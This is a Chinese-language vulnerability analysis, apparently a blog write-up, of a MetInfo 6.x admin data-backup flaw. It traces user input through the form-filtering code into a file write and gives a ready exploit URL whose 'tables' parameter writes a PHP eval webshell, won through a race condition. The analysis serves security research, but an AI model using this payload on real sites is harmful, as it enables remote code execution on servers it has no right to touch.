- App: Metinfo 6.x
- Referenece: https://github.com/jadacheng/vulnerability/blob/master/Metinfo6.x/MetInfo.md
0X01 分析
这个洞和我13号在yxcms里的那个远离差不多。思想就是在file_put_contents的内容可控, 然后一瞬间,删了。ok,条件竞争吧。
sink点位于metinfo/app/system/databack/admin/index.class.php的docache_write()
<?php/*写入数据库缓存文件*/function docache_write($file, $string, $type = 'array'){global $_M;if(is_array($string)){$type = strtolower($type);if($type == 'array'){$string = "<?php\n return ".var_export($string,TRUE).";\n?>";}elseif($type == 'constant'){$data='';foreach($string as $key => $value) $data .= "define('".strtoupper($key)."','".addslashes($value)."');\n";$string = "<?php\n".$data."\n?>";}}file_put_contents(PATH_WEB.ADMIN_FILE.'/databack/'.$file, $string);}
回溯:
i
看这个方法里,471行,我们如果控制了$tables那么ok。 如何才能达到这里?
在这个函数块中, 有三处赋值$tables的statement。
- 参数
- $_M[‘form’][‘tables’]
- $this->dotableprearry($tablepre)
查了一下哪些调用dogetsql方法的位置,文件内部使用。在该文件27行数据库备份时调用该方法。523行整站备份调用该方法且都没有传参。736行打包自定义数据表的时候调用了该方法传入$_M[form][tables]。
$_M是个全局变量, 看第二处$_M[‘form’]数组,从名称上来看好像是个表单数组。而第三处传入的是$_M[‘config’]看起来像是配置文件信息,重防区可控概率不是很大。于是判断从第二处控制。找控制$_M[‘form’]的点。
来看一下$_M数组的定义
$_M数组是一个包含了网站设置,系统调用等信息的总和数组,具体内容如下:
$_M[form]:提交的GET,POST,COOKIE表单数组。在系统中不要直接使用$_POST,$_GET,$_COOKIE,这些都是没有过滤的,$_M[form]中是已经安全过滤后的数组。
OK, 首先这是一个全站通用数组, 其次他是GPC的过滤版本。
$_M[‘form’]在哪里初始化的呢?
metinfo/app/system/include/class/web.class.php
<?php/*** 重写common类的load_form方法,前台对提交的GET,POST,COOKIE进行安全的过滤处理*/protected function load_form() {global $_M;parent::load_form();foreach ($_M['form'] as $key => $val) {$_M['form'][$key] = sqlinsert($val);}if ($_M['form']['id']!='' && !is_numeric($_M['form']['id'])) {$_M['form']['id'] = '';}if ($_M['form']['class1']!='' && !is_numeric($_M['form']['class1'])) {$_M['form']['class1'] = '';}if ($_M['form']['class2']!='' && !is_numeric($_M['form']['class2'])) {$_M['form']['class2'] = '';}if ($_M['form']['class3']!='' && !is_numeric($_M['form']['class3'])) {$_M['form']['class3'] = '';}}
metinfo/app/system/include/class/common.class.php
<?php/*** 获取GET,POST,COOKIE,存放在$_M['form'],系统表单提交变量数组*/protected function load_form() {global $_M;$_M['form'] =array();isset($_REQUEST['GLOBALS']) && exit('Access Error');foreach($_COOKIE as $_key => $_value) {$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);}foreach($_POST as $_key => $_value) {$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);}foreach($_GET as $_key => $_value) {$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);}if(is_numeric($_M['form']['lang'])){//伪静态兼容$_M['form']['page'] = $_M['form']['lang'];$_M['form']['lang'] = '';}if($_M['form']['metid'] == 'list'){$_M['form']['list'] = 1;$_M['form']['metid'] = $_M['form']['page'];$_M['form']['page'] = 1;}if(!preg_match('/^[0-9A-Za-z]+$/', $_M['form']['lang']) && $_M['form']['lang']){echo "No data in the database,please reinstall.";die();}
然后就是大魔王:
<?php/*** 对字符串进行反斜杠处理,如果服务器开启MAGIC_QUOTES_GPC。则不处理。* @param string/array $string 处理的字符串或数组* @param bool $force 是否强制反斜杠处理* @return array 返回处理好的字符串或数组*/function daddslashes($string, $force = 0) {!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());if(!MAGIC_QUOTES_GPC || $force) {if(is_array($string)) {foreach($string as $key => $val) {$string[$key] = daddslashes($val, $force);}} else {if(!defined('IN_ADMIN')){$string = trim(addslashes(sqlinsert($string)));}else{$string = trim(addslashes($string));}}}return $string;}
这里的过滤主要是防注入,addslashes还有sqlinsert的sql注入黑名单过滤。
师傅的payload里没有引号:
127.0.0.1:8888/metinfo/admin/index.php?n=databack&c=index&a=dogetsql&anyid=13&lang=cn&tables=<?php eval($_GET[2]);?>&fileid=1
tables=<?php eval($_GET[2]);?>
这样就有shell存在的瞬间。
果然是第二个位置传入的

不过话说这种后台csrf+条件竞争可利用性高吗?等我有空试一下。
0x02总结
第一次审metinfo,有意思的一个是目录结构,开始以为不是单入口,但是发现虽然很多文件夹,访问路径也不同,但是还是会都流入到entrance.php这个入口。
一个就是这个$_M,之间看到的需要全局调用的信息通常都存个静态变量,这里存了一个global变量。每次用都global $_M一下。
